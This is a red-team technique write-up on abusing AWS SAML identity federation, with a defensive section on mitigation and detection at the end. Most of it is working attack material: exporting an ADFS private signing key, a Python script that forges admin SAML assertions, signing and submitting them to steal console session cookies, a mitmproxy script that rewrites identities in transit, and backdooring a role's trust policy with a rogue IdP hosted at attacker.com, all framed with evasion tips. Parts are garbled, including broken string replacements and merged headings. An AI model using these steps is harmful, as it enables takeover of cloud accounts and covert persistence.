| Attribute | Details |
|---|---|
| Technique ID | CROSS-CLOUD-001 |
| MITRE ATT&CK v18.1 | T1484.002 - Domain Trust Modification |
| Tactic | Privilege Escalation, Persistence |
| Platforms | AWS, Cross-Cloud |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | All AWS API versions |
| Patched In | N/A |
| Author | SERVTEP – Artur Pchelnikau |
Concept: AWS Identity Federation Abuse (T1484.002) exploits the federation trust configuration between AWS and external identity providers (Okta, Azure AD, Google Workspace, custom SAML providers). By compromising or manipulating the SAML signing certificate or creating a malicious federated identity provider, an attacker can forge SAML tokens to impersonate any federated user in AWS. This bypasses password-based authentication entirely and is particularly dangerous because it doesn’t require knowledge of the target user’s credentials. The attacker creates a SAML response signed with a certificate they control (or extract from the IdP), which AWS Identity Provider (IdP) then trusts for authentication. Once authenticated, the attacker gains all permissions associated with the impersonated role.
Attack Surface: AWS Identity and Access Management (IAM) console, SAML IdP configuration, AWS Organizations management account, federated role trust policies, SAML certificate management, AWS Security Token Service (STS).
Business Impact: Complete organizational compromise with persistent access. An attacker can impersonate any federated user, including those with administrative privileges. This enables data exfiltration from S3, RDS, DynamoDB; lateral movement across AWS accounts in an organization; modification of security controls; resource destruction; and ransomware deployment. Unlike password compromise, federation abuse is difficult to detect because the forged SAML token appears legitimate in audit logs.
Technical Context: Federation spoofing typically takes 1-4 hours to execute (certificate extraction + token generation). Detection likelihood is low to medium because legitimate SAML assertions are identical to forged ones at the AWS layer. Common indicators include multiple login locations, unusual federated role assumptions, and abnormal API activity from trusted but compromised identities.
| Framework | Control / ID | Description | |—|—|—| | CIS Benchmark | 5.1 - 5.4 | Credential exposure, IAM policy abuse | | DISA STIG | V-222385 | Federated account credential handling | | CISA SCuBA | C2-4 | Identity and Access Management Controls | | NIST 800-53 | AC-2, AC-3, IA-2 | Account management, access control, authentication | | GDPR | Art. 32 | Security of processing; inadequate access controls lead to data exposure | | DORA | Art. 9 | ICT security incident management; federation compromise is critical | | NIS2 | Art. 21(2)(c) | Cyber risk management measures for critical operators | | ISO 27001 | A.9.1.1, A.9.2.4 | Access control policy; privilege management | | ISO 27005 | 8.2 | Risk assessment of identity federation components |
Supported Versions:
Tools:
Objective: Identify federated identity providers and role trust policies configured for SAML.
Command (AWS CLI - Any User):
# List all SAML providers in the account
aws iam list-saml-providers --output json
# Example output:
# {
# "SAMLProviderList": [
# {
# "Arn": "arn:aws:iam::123456789012:saml-provider/OktaProvider",
# "ValidUntil": "2026-12-31T00:00:00Z",
# "CreateDate": "2023-06-01T10:00:00Z"
# }
# ]
# }
What to Look For:
Command (AWS CLI - Get SAML Provider Details):
# Get full SAML provider metadata
aws iam get-saml-provider --saml-provider-arn arn:aws:iam::123456789012:saml-provider/OktaProvider --output json | jq '.SAMLMetadataDocument' | base64 -d | xmllint --format -
What This Shows:
Command (AWS CLI - List Federated Roles):
# Find all IAM roles that trust SAML providers
aws iam list-roles --output json | jq '.Roles[] | select(.AssumeRolePolicyDocument.Statement[].Principal.Federated != null)'
Expected Output:
{
"RoleName": "OktaAdminRole",
"Arn": "arn:aws:iam::123456789012:role/OktaAdminRole",
"AssumeRolePolicyDocument": {
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::123456789012:saml-provider/OktaProvider"
},
"Action": "sts:AssumeRoleWithSAML",
"Condition": {
"StringEquals": {
"SAML:aud": "https://signin.aws.amazon.com/saml"
}
}
}
]
}
}
What This Means:
SAML:aud should match the AWS SAML endpointSupported Versions: AWS all versions, SAML 2.0 standard
Objective: Obtain the X.509 certificate used to sign SAML assertions.
Command (Bash - Download Metadata):
# Many IdPs expose metadata at a standard URL
# For Okta: https://yourorg.okta.com/app/amazon_aws/exk1234567890/sso/saml/metadata
# For Azure AD: https://login.microsoftonline.com/{TenantID}/federationmetadata/2007-06/federationmetadata.xml
curl -s "https://login.microsoftonline.com/YOUR_TENANT_ID/federationmetadata/2007-06/federationmetadata.xml" > metadata.xml
# Extract the signing certificate (base64-encoded X.509)
cat metadata.xml | grep -oP '(?<=<X509Certificate>)[^<]+' > cert.b64
# Decode and save as PEM
base64 -d cert.b64 > cert.cer
# Convert DER to PEM if needed
openssl x509 -inform DER -in cert.cer -out cert.pem
# Verify certificate details
openssl x509 -in cert.pem -text -noout
Expected Output:
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 123456 (0x1e240)
Signature Algorithm: sha256WithRSAEncryption
Issuer: CN = Okta Signing Certificate
Subject: CN = Okta Signing Certificate
Validity
Not Before: Jan 10 2024
Not After : Jan 10 2025
What This Means:
OpSec & Evasion:
Troubleshooting:
<KeyDescriptor use="signing"> elementsObjective: If you have ADFS/IdP console access, extract the signing certificate’s private key for more authentic signatures.
Command (PowerShell - ADFS Server):
# This requires Local Admin or ADFS Admin on the ADFS server
$cert = Get-ChildItem -Path "Cert:\LocalMachine\My\" | Where-Object { $_.Subject -like "*ADFS*" -and $_.Thumbprint -eq "KNOWN_THUMBPRINT" }
# Export certificate and private key (requires ADFS service account or local admin)
$pfxPassword = ConvertTo-SecureString -String "SecurePassword123!" -Force -AsPlainText
Export-PfxCertificate -Cert $cert -FilePath "C:\Temp\ADFScert.pfx" -Password $pfxPassword
# Convert to PEM for use in Linux/Bash
openssl pkcs12 -in ADFScert.pfx -out adfs_key.pem -nodes -password pass:SecurePassword123!
Expected Output:
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC7...
[RSA PRIVATE KEY DATA]
...
-----END PRIVATE KEY-----
What This Means:
OpSec & Evasion:
Objective: Forge a SAML assertion claiming to represent a high-privilege user.
Command (Python - Generate SAML Response):
Create a file forge_saml.py:
#!/usr/bin/env python3
import base64
import datetime
from lxml import etree
import uuid
# Configuration
ISSUER = "https://login.microsoftonline.com/YOUR_TENANT_ID/federationmetadata/2007-06/federationmetadata.xml"
SAML_AUD = "https://signin.aws.amazon.com/saml"
TARGET_USER = "admin@company.com" # User to impersonate
ROLE_ARN = "arn:aws:iam::123456789012:role/AdminRole"
DURATION = 3600 # Token duration (seconds)
# Create SAML Response
saml_response = f"""<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
ID="_"
Version="2.0"
IssueInstant="{datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')}"
Destination="https://signin.aws.amazon.com/saml"
Consent="urn:oasis:names:tc:SAML:2.0:consent:unspecified">
<saml:Issuer>{ISSUER}</saml:Issuer>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<saml:Assertion xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" ID="_" Version="2.0" IssueInstant="{datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')}">
<saml:Issuer>{ISSUER}</saml:Issuer>
<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">{TARGET_USER}</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="{(datetime.datetime.utcnow() + datetime.timedelta(seconds=DURATION)).strftime('%Y-%m-%dT%H:%M:%SZ')}" Recipient="https://signin.aws.amazon.com/saml"/>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore="{datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')}" NotOnOrAfter="{(datetime.datetime.utcnow() + datetime.timedelta(seconds=DURATION)).strftime('%Y-%m-%dT%H:%M:%SZ')}">
<saml:AudienceRestriction>
<saml:Audience>{SAML_AUD}</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AuthnStatement AuthnInstant="{datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')}" SessionIndex="_">
<saml:AuthnContext>
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
<saml:AttributeStatement>
<saml:Attribute Name="https://aws.amazon.com/SAML/Attributes/Role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
<saml:AttributeValue>{ROLE_ARN},arn:aws:iam::123456789012:saml-provider/OktaProvider</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="https://aws.amazon.com/SAML/Attributes/RoleSessionName" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
<saml:AttributeValue>{TARGET_USER}</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="https://aws.amazon.com/SAML/Attributes/SessionDuration" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
<saml:AttributeValue>{DURATION}</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>
""".replace("", str(uuid.uuid4())).replace("", str(uuid.uuid4())).replace("", str(uuid.uuid4()))
# Encode for form submission
saml_b64 = base64.b64encode(saml_response.encode()).decode()
print(f"SAMLResponse (base64):\n{saml_b64}\n")
# Save for later use
with open("saml_response.b64", "w") as f:
f.write(saml_b64)
Run the script:
python3 forge_saml.py
Expected Output:
SAMLResponse (base64):
PHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIHhtbG5zOnNhbWw9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iI...
[LONG BASE64 STRING]
What This Means:
admin@company.com is authenticatedAdminRole with 3600-second durationOpSec & Evasion:
Troubleshooting:
xmllint --schema xsd_file saml_response.xmlObjective: Digitally sign the SAML assertion using the IdP’s private key (if extracted) or a self-signed certificate.
Command (Bash - Sign with xmlsec1):
First, ensure you have the private key and certificate:
# If you extracted a PFX, split it into separate files
openssl pkcs12 -in adfs_key.pfx -nocerts -out private.pem -nodes -password pass:SecurePassword123!
openssl pkcs12 -in adfs_key.pfx -nokeys -clcerts -out certificate.pem -password pass:SecurePassword123!
# Sign the SAML assertion
xmlsec1 sign --privkey-pem private.pem \
--id-attr:ID urn:oasis:names:tc:SAML:2.0:assertion:Assertion \
--output signed_saml.xml \
--format xml \
saml_response.xml
# Encode the signed response for form submission
base64 -w 0 signed_saml.xml > signed_saml.b64
Expected Output:
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ...>
...
<Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
<SignedInfo>
<CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha256"/>
<Reference URI="#_assertion_id">
<DigestMethod Algorithm="http://www.w3.org/2001/10/XMLSchema#sha256"/>
<DigestValue>ABCD1234...</DigestValue>
</Reference>
</SignedInfo>
<SignatureValue>SGVsbG8gV29ybGQ=</SignatureValue>
<KeyInfo>...</KeyInfo>
</Signature>
</samlp:Response>
What This Means:
<Signature> element proves the assertion came from the IdPOpSec & Evasion:
Objective: Use the signed SAML assertion to assume the target AWS role.
Command (Bash - HTTP POST to AWS):
Option 1 - Using Burp Suite or cURL:
# Extract the base64-encoded SAML response
SAML_RESPONSE=$(cat signed_saml.b64)
RELAY_STATE=$(echo "https://console.aws.amazon.com/" | base64)
# Construct the form data
cat > saml_request.txt <<EOF
SAMLResponse=${SAML_RESPONSE}
RelayState=${RELAY_STATE}
EOF
# Submit to AWS SAML endpoint
curl -X POST \
-H "Content-Type: application/x-www-form-urlencoded" \
-d @saml_request.txt \
"https://signin.aws.amazon.com/saml" \
-i -L
Option 2 - Using Python and SeleniumBase (for browser automation):
#!/usr/bin/env python3
from selenium import webdriver
from selenium.webdriver.common.by import By
import time
import base64
# Initialize headless browser
driver = webdriver.Chrome(options={'--headless': True})
# Go to AWS SAML login
driver.get("https://signin.aws.amazon.com/saml")
# Inject the forged SAML response
saml_input = driver.find_element(By.NAME, "SAMLResponse")
saml_input.send_keys(open("signed_saml.b64", "r").read())
# Submit the form
form = driver.find_element(By.TAG_NAME, "form")
form.submit()
# Wait for redirect and check if authenticated
time.sleep(5)
print(f"Current URL: {driver.current_url}")
print(f"Page title: {driver.title}")
# If successful, should be redirected to AWS console
if "console.aws.amazon.com" in driver.current_url:
print("[+] Successfully authenticated as forged user!")
cookies = driver.get_cookies()
for cookie in cookies:
print(f"Cookie: {cookie['name']} = {cookie['value'][:50]}...")
driver.quit()
Expected Output:
[+] Successfully authenticated as forged user!
Cookie: aws-userInfo = eyJhY2NvdW50SWQiOiIxMjM0NTY3ODkwMTIiLCJ...
Cookie: session-token = AIDAJ45Q...
Current URL: https://console.aws.amazon.com/
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Supported Versions: AWS all versions
Objective: Intercept legitimate SAML assertions in transit.
Command (Bash - mitmproxy):
# Install mitmproxy
pip install mitmproxy
# Start mitmproxy intercepting HTTPS
mitmproxy -p 8080 --mode transparent
# Or, on the target workstation, configure browser proxy:
# Settings → Network Proxy → Manual Configuration
# HTTP Proxy: attacker-ip:8080
# HTTPS Proxy: attacker-ip:8080
What This Achieves:
OpSec & Evasion:
Objective: Change the NameID or Role attribute in a legitimate SAML assertion.
Command (Python - SAML Interceptor):
Create saml_modifier.py:
#!/usr/bin/env python3
from mitmproxy import http
from lxml import etree
import base64
import re
def request(flow: http.HTTPFlow) -> None:
"""Intercept and modify SAML responses."""
if flow.request.url.startswith("https://signin.aws.amazon.com/saml"):
# Check if this is a SAML submission
if "SAMLResponse" in flow.request.text:
# Extract SAML response
match = re.search(r'SAMLResponse=([^&]+)', flow.request.text)
if match:
saml_b64 = match.group(1)
# Decode
saml_xml = base64.b64decode(saml_b64).decode()
# Parse XML
root = etree.fromstring(saml_xml.encode())
# Define namespaces
ns = {
'saml': 'urn:oasis:names:tc:SAML:2.0:assertion',
'samlp': 'urn:oasis:names:tc:SAML:2.0:protocol'
}
# Modify NameID (change authenticated user)
name_id = root.find('.//saml:NameID', ns)
if name_id is not None:
old_user = name_id.text
name_id.text = "admin@company.com" # Impersonate admin
print(f"[*] Modified NameID: {old_user} → {name_id.text}")
# Modify Role attribute
for attr in root.findall('.//saml:Attribute', ns):
if attr.get('Name') == 'https://aws.amazon.com/SAML/Attributes/Role':
for value in attr.findall('saml:AttributeValue', ns):
old_role = value.text
# Change to admin role
value.text = "arn:aws:iam::123456789012:role/AdminRole,arn:aws:iam::123456789012:saml-provider/OktaProvider"
print(f"[*] Modified Role: {old_role} → {value.text}")
# Re-encode
modified_saml = etree.tostring(root, encoding='utf-8').decode()
modified_b64 = base64.b64encode(modified_saml.encode()).decode()
# Replace in request
modified_request = re.sub(
r'SAMLResponse=[^&]+',
f'SAMLResponse={modified_b64}',
flow.request.text
)
flow.request.text = modified_request
print("[+] SAML response modified and forwarded")
OpSec & Evasion:
Supported Versions: AWS Organizations, all AWS accounts
Objective: Set up a rogue SAML provider that AWS will trust.
Command (Bash - Create Self-Signed Certificate):
# Generate private key
openssl genrsa -out attacker_key.pem 2048
# Create self-signed certificate (valid 1 year)
openssl req -new -x509 -key attacker_key.pem -out attacker_cert.pem -days 365 \
-subj "/CN=AttackerSAML/O=Attacker Inc/C=US"
# Display certificate fingerprint
openssl x509 -in attacker_cert.pem -fingerprint -noout
Expected Output:
Certificate fingerprint (SHA1): AB:CD:EF:12:34:56:78:90:AB:CD:EF:12:34:56:78:90:AB:CD:EF:12
Objective: Configure AWS to trust the attacker’s SAML provider.
Command (AWS CLI - Requires IAM Admin):
# Create AWS SAML provider using the attacker certificate
aws iam create-saml-provider \
--saml-metadata-document file://attacker_metadata.xml \
--name "AttackerProvider"
# Output: arn:aws:iam::123456789012:saml-provider/AttackerProvider
# Now modify a role to trust this provider
aws iam get-role --role-name AdminRole
# Update trust policy to include the attacker provider
cat > trust_policy.json <<EOF
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": [
"arn:aws:iam::123456789012:saml-provider/OktaProvider",
"arn:aws:iam::123456789012:saml-provider/AttackerProvider"
]
},
"Action": "sts:AssumeRoleWithSAML",
"Condition": {
"StringEquals": {
"SAML:aud": "https://signin.aws.amazon.com/saml"
}
}
}
]
}
EOF
aws iam update-assume-role-policy \
--role-name AdminRole \
--policy-document file://trust_policy.json
Expected Output:
[No output = success]
What This Achieves:
Objective: Use the attacker-controlled IdP to issue tokens.
Command (Bash - Host SAML IdP Server):
Create a simple Python Flask server:
#!/usr/bin/env python3
from flask import Flask, request, render_template
from lxml import etree
import base64
import datetime
import uuid
app = Flask(__name__)
@app.route('/metadata', methods=['GET'])
def metadata():
"""Serve SAML metadata."""
metadata_xml = '''<?xml version="1.0"?>
<EntityDescriptor xmlns="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://attacker.com/saml">
<IDPSSODescriptor protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
<KeyDescriptor use="signing">
<KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
<X509Data>
<X509Certificate>MIIC...CERT_DATA...</X509Certificate>
</X509Data>
</KeyInfo>
</KeyDescriptor>
<SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" Location="https://attacker.com/sso"/>
</IDPSSODescriptor>
</EntityDescriptor>'''
return metadata_xml, 200, {'Content-Type': 'application/xml'}
@app.route('/sso', methods=['POST', 'GET'])
def sso():
"""Handle SAML Single Sign-On."""
target_user = request.args.get('user', 'admin@company.com')
# Generate SAML response (same as METHOD 1, STEP 3)
saml_response = f'''<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ...>
...
</samlp:Response>'''
return render_template('saml_form.html', saml_response=base64.b64encode(saml_response.encode()).decode())
if __name__ == '__main__':
app.run(host='attacker.com', port=443, ssl_context='adhoc')
OpSec & Evasion:
attacker.comImplement SAML Assertion Encryption: Configure AWS and IdP to encrypt SAML assertions in transit, preventing interception. Applies To Versions: All AWS
Manual Steps (AWS Console):
Manual Steps (IdP - Okta Example):
Validation Command:
# Verify SAML metadata shows encryption support
openssl x509 -in saml_metadata.xml -text -noout | grep -i encrypt
Require Hardware MFA for Federated Users: Even if SAML is forged, additional MFA makes it unusable. Applies To Versions: All AWS
Manual Steps (AWS Console):
"Condition": {
"StringEquals": {
"SAML:aud": "https://signin.aws.amazon.com/saml"
},
"Bool": {
"aws:MultiFactorAuthPresent": "true"
}
}
Certificate Pinning and Fingerprint Validation: Hardcode the expected SAML certificate fingerprint in the role policy. Applies To Versions: All AWS (requires IdP customization)
Manual Steps:
openssl x509 -in idp_cert.pem -fingerprint -noout | cut -d'=' -f2
# Output: AB:CD:EF:12:34:56:78:90:AB:CD:EF:12:34:56:78:90:AB:CD:EF:12
"Condition": {
"StringLike": {
"SAML:x509SubjectNameHash": "abcdef1234567890*"
}
}
Rotate SAML Signing Certificates Quarterly: Limit the window for compromised certificates to be useful. Applies To Versions: All AWS
Manual Steps (IdP - Okta):
iam:*SAMLProvider* actions:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Deny",
"Principal": "*",
"Action": [
"iam:CreateSAMLProvider",
"iam:UpdateSAMLProvider",
"iam:DeleteSAMLProvider"
],
"Resource": "*",
"Condition": {
"StringNotEquals": {
"aws:PrincipalOrgID": "o-123456789012"
}
}
}
]
}
Conditional Access (Entra ID/Azure): Require MFA, device compliance, and specific locations for federated logins.
Manual Steps (Azure Portal):
MFA Required for AWS FederationRBAC: Limit the number of users with iam:AssumeRoleWithSAML permissions.
PowerShell (AWS):
# Find all users/roles that can assume federated roles
$FederatedRoles = Get-IAMRole | Where-Object { $_.AssumeRolePolicyDocument -like "*SAML*" }
foreach ($Role in $FederatedRoles) {
Write-Host "Role: $($Role.RoleName)"
Write-Host "Trust Policy: $($Role.AssumeRolePolicyDocument)"
}
# Check if SAML providers are properly configured
aws iam list-saml-providers --output json | jq '.SAMLProviderList[] | {Arn, ValidUntil}'
# Expected Output (Secure):
# {
# "Arn": "arn:aws:iam::123456789012:saml-provider/OktaProvider",
# "ValidUntil": "2025-12-31T00:00:00Z" # Recent expiration
# }
# Check if role trusts only expected SAML providers
aws iam get-role --role-name AdminRole | jq '.Role.AssumeRolePolicyDocument.Statement[] | select(.Principal.Federated != null)'
# Expected Output (Secure):
# Only should list legitimate IdPs (Okta, Azure AD, etc.), NOT attacker providers
What to Look For:
CreateSAMLProvider or UpdateSAMLProvider by non-admin accountsUpdateAssumeRolePolicy adding SAML principalsAssumeRoleWithSAML from unexpected source IPsAssumeRoleWithSAML events for high-privilege roles in short time{
"eventName": "AssumeRoleWithSAML",
"eventSource": "sts.amazonaws.com",
"userIdentity": {
"type": "SAMLUser",
"principalId": "admin@company.com",
"arn": "arn:aws:iam::123456789012:role/AdminRole"
},
"sourceIPAddress": "192.0.2.1", // Attacker IP
"userAgent": "aws-cli/2.0.0",
"requestParameters": {
"roleArn": "arn:aws:iam::123456789012:role/AdminRole",
"principalArn": "arn:aws:iam::123456789012:saml-provider/OktaProvider",
"durationSeconds": 3600
}
}
# Revoke all active sessions for the compromised role
aws iam delete-role-policy --role-name AdminRole --policy-name "inline-policy"
# Disable the SAML provider
aws iam delete-saml-provider --saml-provider-arn arn:aws:iam::123456789012:saml-provider/OktaProvider
# Alternatively, update assume role policy to deny all SAML
aws iam update-assume-role-policy --role-name AdminRole --policy-document file://deny_all.json
Manual (AWS Console):
# Export all SAML-related CloudTrail events for the past 90 days
aws cloudtrail lookup-events \
--lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRoleWithSAML \
--start-time 2025-10-10T00:00:00Z \
--max-results 50 \
--output json > saml_events.json
# Parse and analyze
jq '.Events[] | {eventTime, sourceIPAddress, requestParameters}' saml_events.json
Manual (AWS Console):
# Delete the compromised SAML provider
aws iam delete-saml-provider --saml-provider-arn arn:aws:iam::123456789012:saml-provider/AttackerProvider
# Rotate the legitimate IdP signing certificate (Okta example via API)
curl -X POST https://yourorg.okta.com/api/v1/certs -H "Authorization: Bearer $OKTA_TOKEN" \
-H "Content-Type: application/json" \
-d '{"name":"new-signing-cert","type":"RSA"}'
# Update AWS SAML provider with new certificate
aws iam update-saml-provider \
--saml-metadata-document file://new_metadata.xml \
--saml-provider-arn arn:aws:iam::123456789012:saml-provider/OktaProvider
Manual:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [CROSS-CLOUD-002] Google Cloud Identity Sync Compromise | Compromise cloud identity infrastructure |
| 2 | Privilege Escalation | [CROSS-CLOUD-001] | Abuse AWS federation to impersonate high-privilege users |
| 3 | Persistence | [IA-EXPLOIT-001] Azure Application Proxy Exploitation | Maintain access via cloud proxy |
| 4 | Lateral Movement | [CROSS-CLOUD-003] Multi-Cloud Service Account Abuse | Move to other clouds using stolen credentials |
| 5 | Impact | [Impact Techniques] Data exfiltration, ransomware deployment | Achieve business objectives |